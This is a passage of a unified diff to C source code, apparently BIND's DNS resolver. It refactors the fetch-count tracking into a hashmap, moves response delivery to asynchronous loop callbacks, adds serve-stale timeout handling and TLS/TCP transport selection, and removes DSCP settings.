 	REQUIRE(fctx != NULL);
-	REQUIRE(fctx->res != NULL);
+	res = fctx->res;
+	REQUIRE(res != NULL);
+	INSIST(fctx->counter == NULL);
 
-	INSIST(fctx->dbucketnum == RES_NOBUCKET);
-	bucketnum = dns_name_fullhash(&fctx->domain, false) %
-		    RES_DOMAIN_BUCKETS;
+	spill = atomic_load_acquire(&res->zspill);
+	if (force || spill == 0) {
+		return (ISC_R_SUCCESS);
+	}
 
-	dbucket = &fctx->res->dbuckets[bucketnum];
+	hashval = isc_hashmap_hash(res->counters, fctx->domain->ndata,
+				   fctx->domain->length);
 
-	LOCK(&dbucket->lock);
-	for (counter = ISC_LIST_HEAD(dbucket->list); counter != NULL;
-	     counter = ISC_LIST_NEXT(counter, link))
-	{
-		if (dns_name_equal(counter->domain, &fctx->domain)) {
-			break;
-		}
+	RWLOCK(&res->counters_lock, locktype);
+	result = isc_hashmap_find(res->counters, &hashval, fctx->domain->ndata,
+				  fctx->domain->length, (void **)&counter);
+	switch (result) {
+	case ISC_R_SUCCESS:
+		break;
+	case ISC_R_NOTFOUND:
+		counter = isc_mem_get(fctx->mctx, sizeof(*counter));
+		*counter = (fctxcount_t){
+			.magic = FCTXCOUNT_MAGIC,
+			.count = 0,
+			.allowed = 0,
+		};
+		isc_mem_attach(fctx->mctx, &counter->mctx);
+		isc_mutex_init(&counter->lock);
+		counter->domain = dns_fixedname_initname(&counter->dfname);
+		dns_name_copy(fctx->domain, counter->domain);
+
+		UPGRADELOCK(&res->counters_lock, locktype);
+
+		result = isc_hashmap_add(res->counters, &hashval,
+					 counter->domain->ndata,
+					 counter->domain->length, counter);
+		if (result == ISC_R_EXISTS) {
+			isc_mutex_destroy(&counter->lock);
+			isc_mem_putanddetach(&counter->mctx, counter,
+					     sizeof(*counter));
+			counter = NULL;
+			result = isc_hashmap_find(
+				res->counters, &hashval, fctx->domain->ndata,
+				fctx->domain->length, (void **)&counter);
+		}
+
+		INSIST(result == ISC_R_SUCCESS);
+		break;
+	default:
+		UNREACHABLE();
 	}
+	INSIST(VALID_FCTXCOUNT(counter));
 
-	if (counter == NULL) {
-		counter = isc_mem_get(dbucket->mctx, sizeof(fctxcount_t));
-		{
-			ISC_LINK_INIT(counter, link);
-			counter->count = 1;
-			counter->logged = 0;
-			counter->allowed = 1;
-			counter->dropped = 0;
-			counter->domain =
-				dns_fixedname_initname(&counter->fdname);
-			dns_name_copy(&fctx->domain, counter->domain);
-			ISC_LIST_APPEND(dbucket->list, counter, link);
-		}
+	INSIST(spill > 0);
+	LOCK(&counter->lock);
+	if (++counter->count > spill) {
+		counter->count--;
+		INSIST(counter->count > 0);
+		counter->dropped++;
+		fcount_logspill(fctx, counter, false);
+		result = ISC_R_QUOTA;
 	} else {
-		uint_fast32_t spill = atomic_load_acquire(&fctx->res->zspill);
-		if (!force && spill != 0 && counter->count >= spill) {
-			counter->dropped++;
-			fcount_logspill(fctx, counter);
-			result = ISC_R_QUOTA;
-		} else {
-			counter->count++;
-			counter->allowed++;
-		}
-	}
-	UNLOCK(&dbucket->lock);
-
-	if (result == ISC_R_SUCCESS) {
-		fctx->dbucketnum = bucketnum;
+		counter->allowed++;
+		fctx->counter = counter;
 	}
+	UNLOCK(&counter->lock);
+	RWUNLOCK(&res->counters_lock, locktype);
 
 	return (result);
 }
 
 static void
 fcount_decr(fetchctx_t *fctx) {
-	zonebucket_t *dbucket;
-	fctxcount_t *counter;
-
 	REQUIRE(fctx != NULL);
 
-	if (fctx->dbucketnum == RES_NOBUCKET) {
+	fctxcount_t *counter = fctx->counter;
+	if (counter == NULL) {
 		return;
 	}
+	fctx->counter = NULL;
 
-	dbucket = &fctx->res->dbuckets[fctx->dbucketnum];
+	/*
+	 * FIXME: This should not require a write lock, but should be
+	 * implemented using reference counting later, otherwise we would could
+	 * encounter ABA problem here - the count could go up and down when we
+	 * switch from read to write lock.
+	 */
+	RWLOCK(&fctx->res->counters_lock, isc_rwlocktype_write);
 
-	LOCK(&dbucket->lock);
-	for (counter = ISC_LIST_HEAD(dbucket->list); counter != NULL;
-	     counter = ISC_LIST_NEXT(counter, link))
-	{
-		if (dns_name_equal(counter->domain, &fctx->domain)) {
-			break;
-		}
+	LOCK(&counter->lock);
+	INSIST(VALID_FCTXCOUNT(counter));
+	INSIST(counter->count > 0);
+	if (--counter->count > 0) {
+		UNLOCK(&counter->lock);
+		RWUNLOCK(&fctx->res->counters_lock, isc_rwlocktype_write);
+		return;
 	}
 
-	if (counter != NULL) {
-		INSIST(counter->count != 0);
-		counter->count--;
-		fctx->dbucketnum = RES_NOBUCKET;
+	isc_result_t result = isc_hashmap_delete(fctx->res->counters, NULL,
+						 counter->domain->ndata,
+						 counter->domain->length);
+	INSIST(result == ISC_R_SUCCESS);
 
-		if (counter->count == 0) {
-			ISC_LIST_UNLINK(dbucket->list, counter, link);
-			isc_mem_put(dbucket->mctx, counter, sizeof(*counter));
-		}
-	}
+	fcount_logspill(fctx, counter, true);
+	UNLOCK(&counter->lock);
+
+	isc_mutex_destroy(&counter->lock);
+	isc_mem_putanddetach(&counter->mctx, counter, sizeof(*counter));
 
-	UNLOCK(&dbucket->lock);
+	RWUNLOCK(&fctx->res->counters_lock, isc_rwlocktype_write);
 }
 
-static inline void
-fctx_sendevents(fetchctx_t *fctx, isc_result_t result, int line) {
-	dns_fetchevent_t *event, *next_event;
-	isc_task_t *task;
+static void
+spillattimer_countdown(void *arg);
+
+static void
+fctx_sendevents(fetchctx_t *fctx, isc_result_t result) {
+	dns_fetchresponse_t *resp = NULL, *next = NULL;
 	unsigned int count = 0;
-	isc_interval_t i;
 	bool logit = false;
 	isc_time_t now;
 	unsigned int old_spillat;
@@ -1709,81 +1536,102 @@ fctx_sendevents(fetchctx_t *fctx, isc_result_t result, int line) {
 				       * compiler warnings */
 
 	/*
-	 * Caller must be holding the appropriate bucket lock.
+	 * Caller must be holding the fctx lock.
 	 */
 	REQUIRE(fctx->state == fetchstate_done);
 
 	FCTXTRACE("sendevents");
 
+	LOCK(&fctx->lock);
+
 	/*
 	 * Keep some record of fetch result for logging later (if required).
 	 */
 	fctx->result = result;
-	fctx->exitline = line;
-	TIME_NOW(&now);
+	now = isc_time_now();
 	fctx->duration = isc_time_microdiff(&now, &fctx->start);
 
-	for (event = ISC_LIST_HEAD(fctx->events); event != NULL;
-	     event = next_event) {
-		next_event = ISC_LIST_NEXT(event, ev_link);
-		ISC_LIST_UNLINK(fctx->events, event, ev_link);
-		if (event->ev_type == DNS_EVENT_TRYSTALE) {
+	for (resp = ISC_LIST_HEAD(fctx->resps); resp != NULL; resp = next) {
+		next = ISC_LIST_NEXT(resp, link);
+		ISC_LIST_UNLINK(fctx->resps, resp, link);
+
+		/*
+		 * Only the regular fetch events should be counted for the
+		 * clients-per-query limit, in case if there are multiple events
+		 * registered for a single client.
+		 */
+		if (resp->type == FETCHDONE) {
+			count++;
+		}
+
+		if (resp->type == TRYSTALE) {
 			/*
-			 * Not applicable to TRY STALE events, this function is
+			 * Not applicable to TRYSTALE resps; this function is
 			 * called when the fetch has either completed or timed
 			 * out due to resolver-query-timeout being reached.
 			 */
-			isc_task_detach((isc_task_t **)&event->ev_sender);
-			isc_event_free((isc_event_t **)&event);
+			isc_mem_putanddetach(&resp->mctx, resp, sizeof(*resp));
 			continue;
 		}
-		task = event->ev_sender;
-		event->ev_sender = fctx;
-		event->vresult = fctx->vresult;
+
+		resp->vresult = fctx->vresult;
 		if (!HAVE_ANSWER(fctx)) {
-			event->result = result;
+			resp->result = result;
 		}
 
-		INSIST(event->result != ISC_R_SUCCESS ||
-		       dns_rdataset_isassociated(event->rdataset) ||
+		INSIST(resp->result != ISC_R_SUCCESS ||
+		       dns_rdataset_isassociated(resp->rdataset) ||
 		       fctx->type == dns_rdatatype_any ||
 		       fctx->type == dns_rdatatype_rrsig ||
 		       fctx->type == dns_rdatatype_sig);
 
 		/*
-		 * Negative results must be indicated in event->result.
+		 * Negative results must be indicated in resp->result.
 		 */
-		if (dns_rdataset_isassociated(event->rdataset) &&
-		    NEGATIVE(event->rdataset)) {
-			INSIST(event->result == DNS_R_NCACHENXDOMAIN ||
-			       event->result == DNS_R_NCACHENXRRSET);
+		if (dns_rdataset_isassociated(resp->rdataset) &&
+		    NEGATIVE(resp->rdataset))
+		{
+			INSIST(resp->result == DNS_R_NCACHENXDOMAIN ||
+			       resp->result == DNS_R_NCACHENXRRSET);
 		}
 
-		isc_task_sendanddetach(&task, ISC_EVENT_PTR(&event));
-		count++;
+		FCTXTRACE("post response event");
+		isc_async_run(resp->loop, resp->cb, resp);
 	}
+	UNLOCK(&fctx->lock);
 
 	if (HAVE_ANSWER(fctx) && fctx->spilled &&
 	    (count < fctx->res->spillatmax || fctx->res->spillatmax == 0))
 	{
 		LOCK(&fctx->res->lock);
 		if (count == fctx->res->spillat &&
-		    !atomic_load_acquire(&fctx->res->exiting)) {
+		    !atomic_load_acquire(&fctx->res->exiting))
+		{
 			old_spillat = fctx->res->spillat;
 			fctx->res->spillat += 5;
 			if (fctx->res->spillat > fctx->res->spillatmax &&
-			    fctx->res->spillatmax != 0) {
+			    fctx->res->spillatmax != 0)
+			{
 				fctx->res->spillat = fctx->res->spillatmax;
 			}
 			new_spillat = fctx->res->spillat;
 			if (new_spillat != old_spillat) {
 				logit = true;
 			}
-			isc_interval_set(&i, 20 * 60, 0);
-			result = isc_timer_reset(fctx->res->spillattimer,
-						 isc_timertype_ticker, NULL, &i,
-						 true);
-			RUNTIME_CHECK(result == ISC_R_SUCCESS);
+
+			/* Timer not running */
+			if (fctx->res->spillattimer == NULL) {
+				isc_interval_t i;
+
+				isc_timer_create(
+					isc_loop_current(fctx->res->loopmgr),
+					spillattimer_countdown, fctx->res,
+					&fctx->res->spillattimer);
+
+				isc_interval_set(&i, 20 * 60, 0);
+				isc_timer_start(fctx->res->spillattimer,
+						isc_timertype_ticker, &i);
+			}
 		}
 		UNLOCK(&fctx->res->lock);
 		if (logit) {
@@ -1795,20 +1643,38 @@ fctx_sendevents(fetchctx_t *fctx, isc_result_t result, int line) {
 	}
 }
 
-static void
-fctx_done(fetchctx_t *fctx, isc_result_t result, int line) {
-	dns_resolver_t *res;
+static bool
+fctx__done(fetchctx_t *fctx, isc_result_t result, const char *func,
+	   const char *file, unsigned int line) {
 	bool no_response = false;
 	bool age_untried = false;
 
-	REQUIRE(line >= 0);
+	REQUIRE(fctx->tid == isc_tid());
 
 	FCTXTRACE("done");
 
-	res = fctx->res;
+#ifdef DNS_RESOLVER_TRACE
+	fprintf(stderr, "%s:%s:%s:%u:(%p): %s\n", __func__, func, file, line,
+		fctx, isc_result_totext(result));
+#else
+	UNUSED(file);
+	UNUSED(line);
+	UNUSED(func);
+#endif
+
+	LOCK(&fctx->lock);
+	/* We need to do this under the lock for intra-thread synchronization */
+	if (fctx->state == fetchstate_done) {
+		UNLOCK(&fctx->lock);
+		return (false);
+	}
+	fctx->state = fetchstate_done;
+	release_fctx(fctx);
+
+	FCTX_ATTR_CLR(fctx, FCTX_ATTR_ADDRWAIT);
+	UNLOCK(&fctx->lock);
 
 	if (result == ISC_R_SUCCESS) {
-		no_response = true;
 		if (fctx->qmin_warning != ISC_R_SUCCESS) {
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_LAME_SERVERS,
 				      DNS_LOGMODULE_RESOLVER, ISC_LOG_INFO,
@@ -1818,162 +1684,144 @@ fctx_done(fetchctx_t *fctx, isc_result_t result, int line) {
 				      fctx->info,
 				      isc_result_totext(fctx->qmin_warning));
 		}
+
+		/*
+		 * A success result indicates we got a response to a
+		 * query. That query should be canceled already. If
+		 * there still are any outstanding queries attached to the
+		 * same fctx, then those have *not* gotten a response,
+		 * so we set 'no_response' to true here: that way, when
+		 * we run fctx_cancelqueries() below, the SRTTs will
+		 * be adjusted.
+		 */
+		no_response = true;
 	} else if (result == ISC_R_TIMEDOUT) {
 		age_untried = true;
 	}
 
 	fctx->qmin_warning = ISC_R_SUCCESS;
 
-	fctx_stopqueries(fctx, no_response, age_untried);
+	fctx_cancelqueries(fctx, no_response, age_untried);
+	fctx_stoptimer(fctx);
 
-	LOCK(&res->buckets[fctx->bucketnum].lock);
+	/*
+	 * Cancel all pending validators.  Note that this must be done
+	 * without the fctx lock held, since that could cause
+	 * deadlock.
+	 */
+	maybe_cancel_validators(fctx);
 
-	fctx->state = fetchstate_done;
-	FCTX_ATTR_CLR(fctx, FCTX_ATTR_ADDRWAIT);
-	fctx_sendevents(fctx, result, line);
+	if (fctx->nsfetch != NULL) {
+		dns_resolver_cancelfetch(fctx->nsfetch);
+	}
 
-	UNLOCK(&res->buckets[fctx->bucketnum].lock);
+	if (fctx->qminfetch != NULL) {
+		dns_resolver_cancelfetch(fctx->qminfetch);
+	}
+
+	/*
+	 * Shut down anything still running on behalf of this
+	 * fetch, and clean up finds and addresses.
+	 */
+	fctx_sendevents(fctx, result);
+	fctx_cleanup(fctx);
+
+	isc_timer_destroy(&fctx->timer);
+
+	return (true);
 }
 
 static void
-process_sendevent(resquery_t *query, isc_event_t *event) {
-	isc_socketevent_t *sevent = (isc_socketevent_t *)event;
-	bool destroy_query = false;
-	bool retry = false;
-	isc_result_t result;
-	fetchctx_t *fctx;
+resquery_senddone(isc_result_t eresult, isc_region_t *region, void *arg) {
+	resquery_t *query = (resquery_t *)arg;
+	resquery_t *copy = query;
+	fetchctx_t *fctx = NULL;
+
+	QTRACE("senddone");
+
+	UNUSED(region);
 
+	REQUIRE(VALID_QUERY(query));
 	fctx = query->fctx;
+	REQUIRE(VALID_FCTX(fctx));
+	REQUIRE(fctx->tid == isc_tid());
 
 	if (RESQUERY_CANCELED(query)) {
-		if (query->sends == 0 && query->connects == 0) {
-			/*
-			 * This query was canceled while the
-			 * isc_socket_sendto/connect() was in progress.
-			 */
-			if (query->tcpsocket != NULL) {
-				isc_socket_detach(&query->tcpsocket);
-			}
-			destroy_query = true;
-		}
-	} else {
-		switch (sevent->result) {
-		case ISC_R_SUCCESS:
-			break;
-
-		case ISC_R_HOSTUNREACH:
-		case ISC_R_NETUNREACH:
-		case ISC_R_NOPERM:
-		case ISC_R_ADDRNOTAVAIL:
-		case ISC_R_CONNREFUSED:
-			FCTXTRACE3("query canceled in sendevent(): "
-				   "no route to host; no response",
-				   sevent->result);
+		goto detach;
+	}
 
-			/*
-			 * No route to remote.
-			 */
-			add_bad(fctx, query->rmessage, query->addrinfo,
-				sevent->result, badns_unreachable);
-			fctx_cancelquery(&query, NULL, NULL, true, false);
-			retry = true;
-			break;
+	/*
+	 * See the note in resquery_connected() about reference
+	 * counting on error conditions.
+	 */
+	switch (eresult) {
+	case ISC_R_SUCCESS:
+	case ISC_R_CANCELED:
+	case ISC_R_SHUTTINGDOWN:
+		break;
 
-		default:
-			FCTXTRACE3("query canceled in sendevent() due to "
-				   "unexpected event result; responding",
-				   sevent->result);
+	case ISC_R_HOSTUNREACH:
+	case ISC_R_NETUNREACH:
+	case ISC_R_NOPERM:
+	case ISC_R_ADDRNOTAVAIL:
+	case ISC_R_CONNREFUSED:
+		/* No route to remote. */
+		FCTXTRACE3("query canceled in resquery_senddone(): "
+			   "no route to host; no response",
+			   eresult);
+		add_bad(fctx, query->rmessage, query->addrinfo, eresult,
+			badns_unreachable);
+		fctx_cancelquery(&copy, NULL, true, false);
+		FCTX_ATTR_CLR(fctx, FCTX_ATTR_ADDRWAIT);
+		fctx_try(fctx, true, false);
+		break;
 
-			fctx_cancelquery(&query, NULL, NULL, false, false);
-			break;
-		}
+	default:
+		FCTXTRACE3("query canceled in resquery_senddone() "
+			   "due to unexpected result; responding",
+			   eresult);
+		fctx_cancelquery(&copy, NULL, false, false);
+		fctx_done_detach(&fctx, eresult);
+		break;
 	}
 
-	if (event->ev_type == ISC_SOCKEVENT_CONNECT) {
-		isc_event_free(&event);
-	}
+detach:
+	resquery_detach(&query);
+}
 
-	if (retry) {
-		/*
-		 * Behave as if the idle timer has expired.  For TCP
-		 * this may not actually reflect the latest timer.
-		 */
-		FCTX_ATTR_CLR(fctx, FCTX_ATTR_ADDRWAIT);
-		result = fctx_stopidletimer(fctx);
-		if (result != ISC_R_SUCCESS) {
-			fctx_done(fctx, result, __LINE__);
-		} else {
-			fctx_try(fctx, true, false);
-		}
-	}
+static isc_result_t
+fctx_addopt(dns_message_t *message, unsigned int version, uint16_t udpsize,
+	    dns_ednsopt_t *ednsopts, size_t count) {
+	dns_rdataset_t *rdataset = NULL;
+	isc_result_t result;
 
-	if (destroy_query) {
-		resquery_destroy(&query);
+	result = dns_message_buildopt(message, &rdataset, version, udpsize,
+				      DNS_MESSAGEEXTFLAG_DO, ednsopts, count);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
+	return (dns_message_setopt(message, rdataset));
 }
 
 static void
-resquery_udpconnected(isc_task_t *task, isc_event_t *event) {
-	resquery_t *query = event->ev_arg;
-
-	REQUIRE(event->ev_type == ISC_SOCKEVENT_CONNECT);
-
-	QTRACE("udpconnected");
-
-	UNUSED(task);
-
-	INSIST(RESQUERY_CONNECTING(query));
-
-	query->connects--;
-
-	process_sendevent(query, event);
-}
-
-static void
-resquery_senddone(isc_task_t *task, isc_event_t *event) {
-	resquery_t *query = event->ev_arg;
-
-	REQUIRE(event->ev_type == ISC_SOCKEVENT_SENDDONE);
-
-	QTRACE("senddone");
+fctx_setretryinterval(fetchctx_t *fctx, unsigned int rtt) {
+	unsigned int seconds, us;
+	uint64_t limit;
+	isc_time_t now;
 
 	/*
-	 * XXXRTH
-	 *
-	 * Currently we don't wait for the senddone event before retrying
-	 * a query.  This means that if we get really behind, we may end
-	 * up doing extra work!
+	 * Has this fetch already expired?
 	 */
-
-	UNUSED(task);
-
-	INSIST(RESQUERY_SENDING(query));
-
-	query->sends--;
-
-	process_sendevent(query, event);
-}
-
-static inline isc_result_t
-fctx_addopt(dns_message_t *message, unsigned int version, uint16_t udpsize,
-	    dns_ednsopt_t *ednsopts, size_t count) {
-	dns_rdataset_t *rdataset = NULL;
-	isc_result_t result;
-
-	result = dns_message_buildopt(message, &rdataset, version, udpsize,
-				      DNS_MESSAGEEXTFLAG_DO, ednsopts, count);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
+	now = isc_time_now();
+	limit = isc_time_microdiff(&fctx->expires, &now);
+	if (limit < US_PER_MS) {
+		FCTXTRACE("fetch already expired");
+		isc_interval_set(&fctx->interval, 0, 0);
+		return;
 	}
-	return (dns_message_setopt(message, rdataset));
-}
 
-static inline void
-fctx_setretryinterval(fetchctx_t *fctx, unsigned int rtt) {
-	unsigned int seconds;
-	unsigned int us;
+	us = fctx->res->retryinterval * US_PER_MS;
 
-	us = fctx->res->retryinterval * 1000;
 	/*
 	 * Exponential backoff after the first few tries.
 	 */
@@ -2005,89 +1853,169 @@ fctx_setretryinterval(fetchctx_t *fctx, unsigned int rtt) {
 	}
 
 	/*
-	 * But don't ever wait for more than 10 seconds.
+	 * But don't wait past the stale timeout (if any), the final
+	 * expiration of the fetch, or for more than 10 seconds total.
 	 */
+	if ((fctx->options & DNS_FETCHOPT_TRYSTALE_ONTIMEOUT) != 0) {
+		uint64_t stale = isc_time_microdiff(&fctx->expires_try_stale,
+						    &now);
+		if (stale >= US_PER_MS && us > stale) {
+			FCTXTRACE("setting stale timeout");
+			us = stale;
+		}
+	}
+	if (us > limit) {
+		us = limit;
+	}
 	if (us > MAX_SINGLE_QUERY_TIMEOUT_US) {
 		us = MAX_SINGLE_QUERY_TIMEOUT_US;
 	}
 
 	seconds = us / US_PER_SEC;
 	us -= seconds * US_PER_SEC;
-	isc_interval_set(&fctx->interval, seconds, us * 1000);
+	isc_interval_set(&fctx->interval, seconds, us * NS_PER_US);
+	isc_time_nowplusinterval(&fctx->next_timeout, &fctx->interval);
+}
+
+static isc_result_t
+resquery_timeout(resquery_t *query) {
+	fetchctx_t *fctx = query->fctx;
+	dns_fetchresponse_t *resp = NULL, *next = NULL;
+	uint64_t timeleft;
+	isc_time_t now;
+
+	FCTXTRACE("timeout");
+
+	/*
+	 * If not configured for serve-stale, do nothing.
+	 */
+	if ((fctx->options & DNS_FETCHOPT_TRYSTALE_ONTIMEOUT) == 0) {
+		return (ISC_R_SUCCESS);
+	}
+
+	/*
+	 * If we haven't reached the serve-stale timeout, do nothing.
+	 * (Note that netmgr timeouts have millisecond accuracy, so
+	 * anything less than 1000 microseconds is close enough to zero.)
+	 */
+	now = isc_time_now();
+	timeleft = isc_time_microdiff(&fctx->expires_try_stale, &now);
+	if (timeleft >= US_PER_MS) {
+		return (ISC_R_SUCCESS);
+	}
+
+	/*
+	 * Send the TRYSTALE events.
+	 */
+	LOCK(&fctx->lock);
+	for (resp = ISC_LIST_HEAD(fctx->resps); resp != NULL; resp = next) {
+		next = ISC_LIST_NEXT(resp, link);
+		if (resp->type != TRYSTALE) {
+			continue;
+		}
+
+		ISC_LIST_UNLINK(fctx->resps, resp, link);
+		resp->vresult = ISC_R_TIMEDOUT;
+		resp->result = ISC_R_TIMEDOUT;
+		isc_async_run(resp->loop, resp->cb, resp);
+	}
+	UNLOCK(&fctx->lock);
+
+	/*
+	 * If the next timeout is more than 1ms in the future,
+	 * resume waiting.
+	 */
+	timeleft = isc_time_microdiff(&fctx->next_timeout, &now);
+	if (timeleft >= US_PER_MS) {
+		dns_dispatch_resume(query->dispentry, (timeleft / US_PER_MS));
+		return (ISC_R_COMPLETE);
+	}
+
+	return (ISC_R_SUCCESS);
 }
 
 static isc_result_t
 fctx_query(fetchctx_t *fctx, dns_adbaddrinfo_t *addrinfo,
 	   unsigned int options) {
-	dns_resolver_t *res;
-	isc_task_t *task;
 	isc_result_t result;
-	resquery_t *query;
+	dns_resolver_t *res = NULL;
+	resquery_t *query = NULL;
 	isc_sockaddr_t addr;
 	bool have_addr = false;
 	unsigned int srtt;
-	isc_dscp_t dscp = -1;
-	unsigned int bucketnum;
+	isc_tlsctx_cache_t *tlsctx_cache = NULL;
 
 	FCTXTRACE("query");
 
 	res = fctx->res;
-	task = res->buckets[fctx->bucketnum].task;
 
 	srtt = addrinfo->srtt;
 
+	if (addrinfo->transport != NULL) {
+		switch (dns_transport_get_type(addrinfo->transport)) {
+		case DNS_TRANSPORT_TLS:
+			options |= DNS_FETCHOPT_TCP;
+			tlsctx_cache = res->tlsctx_cache;
+			break;
+		case DNS_TRANSPORT_TCP:
+		case DNS_TRANSPORT_HTTP:
+			options |= DNS_FETCHOPT_TCP;
+			break;
+		default:
+			break;
+		}
+	}
+
 	/*
-	 * Allow an additional second for the kernel to resend the SYN (or
-	 * SYN without ECN in the case of stupid firewalls blocking ECN
-	 * negotiation) over the current RTT estimate.
+	 * Allow an additional second for the kernel to resend the SYN
+	 * (or SYN without ECN in the case of stupid firewalls blocking
+	 * ECN negotiation) over the current RTT estimate.
 	 */
 	if ((options & DNS_FETCHOPT_TCP) != 0) {
-		srtt += 1000000;
+		srtt += US_PER_SEC;
 	}
 
 	/*
 	 * A forwarder needs to make multiple queries. Give it at least
 	 * a second to do these in.
 	 */
-	if (ISFORWARDER(addrinfo) && srtt < 1000000) {
-		srtt = 1000000;
+	if (ISFORWARDER(addrinfo) && srtt < US_PER_SEC) {
+		srtt = US_PER_SEC;
 	}
 
 	fctx_setretryinterval(fctx, srtt);
-	result = fctx_startidletimer(fctx, &fctx->interval);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
+	if (isc_interval_iszero(&fctx->interval)) {
+		FCTXTRACE("fetch expired");
+		return (ISC_R_TIMEDOUT);
 	}
 
 	INSIST(ISC_LIST_EMPTY(fctx->validators));
 
 	query = isc_mem_get(fctx->mctx, sizeof(*query));
-	query->rmessage = NULL;
-	dns_message_create(fctx->mctx, DNS_MESSAGE_INTENTPARSE,
-			   &query->rmessage);
-	query->mctx = fctx->mctx;
-	query->options = options;
-	query->attributes = 0;
-	query->sends = 0;
-	query->connects = 0;
-	query->dscp = addrinfo->dscp;
-	query->udpsize = 0;
+	*query = (resquery_t){ .options = options,
+			       .addrinfo = addrinfo,
+			       .dispatchmgr = res->view->dispatchmgr };
+
+#if DNS_RESOLVER_TRACE
+	fprintf(stderr, "rctx_init:%s:%s:%d:%p->references = 1\n", __func__,
+		__FILE__, __LINE__, query);
+#endif
+	isc_refcount_init(&query->references, 1);
+
 	/*
-	 * Note that the caller MUST guarantee that 'addrinfo' will remain
-	 * valid until this query is canceled.
+	 * Note that the caller MUST guarantee that 'addrinfo' will
+	 * remain valid until this query is canceled.
 	 */
-	query->addrinfo = addrinfo;
-	TIME_NOW(&query->start);
+
+	dns_message_create(fctx->mctx, DNS_MESSAGE_INTENTPARSE,
+			   &query->rmessage);
+	query->start = isc_time_now();
 
 	/*
 	 * If this is a TCP query, then we need to make a socket and
 	 * a dispatch for it here.  Otherwise we use the resolver's
 	 * shared dispatch.
 	 */
-	query->dispatchmgr = res->dispatchmgr;
-	query->dispatch = NULL;
-	query->exclusivesocket = false;
-	query->tcpsocket = NULL;
 	if (res->view->peers != NULL) {
 		dns_peer_t *peer = NULL;
 		isc_netaddr_t dstip;
@@ -2100,10 +2028,6 @@ fctx_query(fetchctx_t *fctx, dns_adbaddrinfo_t *addrinfo,
 			if (result == ISC_R_SUCCESS) {
 				have_addr = true;
 			}
-			result = dns_peer_getquerydscp(peer, &dscp);
-			if (result == ISC_R_SUCCESS) {
-				query->dscp = dscp;
-			}
 			result = dns_peer_getforcetcp(peer, &usetcp);
 			if (result == ISC_R_SUCCESS && usetcp) {
 				query->options |= DNS_FETCHOPT_TCP;
@@ -2111,7 +2035,6 @@ fctx_query(fetchctx_t *fctx, dns_adbaddrinfo_t *addrinfo,
 		}
 	}
 
-	dscp = -1;
 	if ((query->options & DNS_FETCHOPT_TCP) != 0) {
 		int pf;
 
@@ -2121,12 +2044,10 @@ fctx_query(fetchctx_t *fctx, dns_adbaddrinfo_t *addrinfo,
 			case PF_INET:
 				result = dns_dispatch_getlocaladdress(
 					res->dispatches4->dispatches[0], &addr);
-				dscp = dns_resolver_getquerydscp4(fctx->res);
 				break;
 			case PF_INET6:
 				result = dns_dispatch_getlocaladdress(
 					res->dispatches6->dispatches[0], &addr);
-				dscp = dns_resolver_getquerydscp6(fctx->res);
 				break;
 			default:
 				result = ISC_R_NOTIMPLEMENTED;
@@ -2137,53 +2058,20 @@ fctx_query(fetchctx_t *fctx, dns_adbaddrinfo_t *addrinfo,
 			}
 		}
 		isc_sockaddr_setport(&addr, 0);
-		if (query->dscp == -1) {
-			query->dscp = dscp;
-		}
 
-		result = isc_socket_create(res->socketmgr, pf,
-					   isc_sockettype_tcp,
-					   &query->tcpsocket);
+		result = dns_dispatch_createtcp(res->view->dispatchmgr, &addr,
+						&addrinfo->sockaddr,
+						&query->dispatch);
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup_query;
 		}
 
-#ifndef BROKEN_TCP_BIND_BEFORE_CONNECT
-		result = isc_socket_bind(query->tcpsocket, &addr, 0);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup_socket;
-		}
-#endif /* ifndef BROKEN_TCP_BIND_BEFORE_CONNECT */
-
-		/*
-		 * A dispatch will be created once the connect succeeds.
-		 */
+		FCTXTRACE("connecting via TCP");
 	} else {
 		if (have_addr) {
-			unsigned int attrs, attrmask;
-			attrs = DNS_DISPATCHATTR_UDP;
-			switch (isc_sockaddr_pf(&addr)) {
-			case AF_INET:
-				attrs |= DNS_DISPATCHATTR_IPV4;
-				dscp = dns_resolver_getquerydscp4(fctx->res);
-				break;
-			case AF_INET6:
-				attrs |= DNS_DISPATCHATTR_IPV6;
-				dscp = dns_resolver_getquerydscp6(fctx->res);
-				break;
-			default:
-				result = ISC_R_NOTIMPLEMENTED;
-				goto cleanup_query;
-			}
-			attrmask = DNS_DISPATCHATTR_UDP;
-			attrmask |= DNS_DISPATCHATTR_TCP;
-			attrmask |= DNS_DISPATCHATTR_IPV4;
-			attrmask |= DNS_DISPATCHATTR_IPV6;
-			result = dns_dispatch_getudp(
-				res->dispatchmgr, res->socketmgr, res->taskmgr,
-				// OQS updated from 4096 to 8192
-				&addr, 8192, 20000, 32768, 16411, 16433, attrs,
-				attrmask, &query->dispatch);
+			result = dns_dispatch_createudp(res->view->dispatchmgr,
+							&addr,
+							&query->dispatch);
 			if (result != ISC_R_SUCCESS) {
 				goto cleanup_query;
 			}
@@ -2193,15 +2081,11 @@ fctx_query(fetchctx_t *fctx, dns_adbaddrinfo_t *addrinfo,
 				dns_dispatch_attach(
 					dns_resolver_dispatchv4(res),
 					&query->dispatch);
-				query->exclusivesocket = res->exclusivev4;
-				dscp = dns_resolver_getquerydscp4(fctx->res);
 				break;
 			case PF_INET6:
 				dns_dispatch_attach(
 					dns_resolver_dispatchv6(res),
 					&query->dispatch);
-				query->exclusivesocket = res->exclusivev6;
-				dscp = dns_resolver_getquerydscp6(fctx->res);
 				break;
 			default:
 				result = ISC_R_NOTIMPLEMENTED;
@@ -2209,92 +2093,82 @@ fctx_query(fetchctx_t *fctx, dns_adbaddrinfo_t *addrinfo,
 			}
 		}
 
-		if (query->dscp == -1) {
-			query->dscp = dscp;
-		}
 		/*
 		 * We should always have a valid dispatcher here.  If we
 		 * don't support a protocol family, then its dispatcher
-		 * will be NULL, but we shouldn't be finding addresses for
-		 * protocol types we don't support, so the dispatcher
-		 * we found should never be NULL.
+		 * will be NULL, but we shouldn't be finding addresses
+		 * for protocol types we don't support, so the
+		 * dispatcher we found should never be NULL.
 		 */
 		INSIST(query->dispatch != NULL);
 	}
 
-	query->dispentry = NULL;
-	query->fctx = fctx; /* reference added by caller */
-	query->tsig = NULL;
-	query->tsigkey = NULL;
+	LOCK(&fctx->lock);
+	INSIST(!SHUTTINGDOWN(fctx));
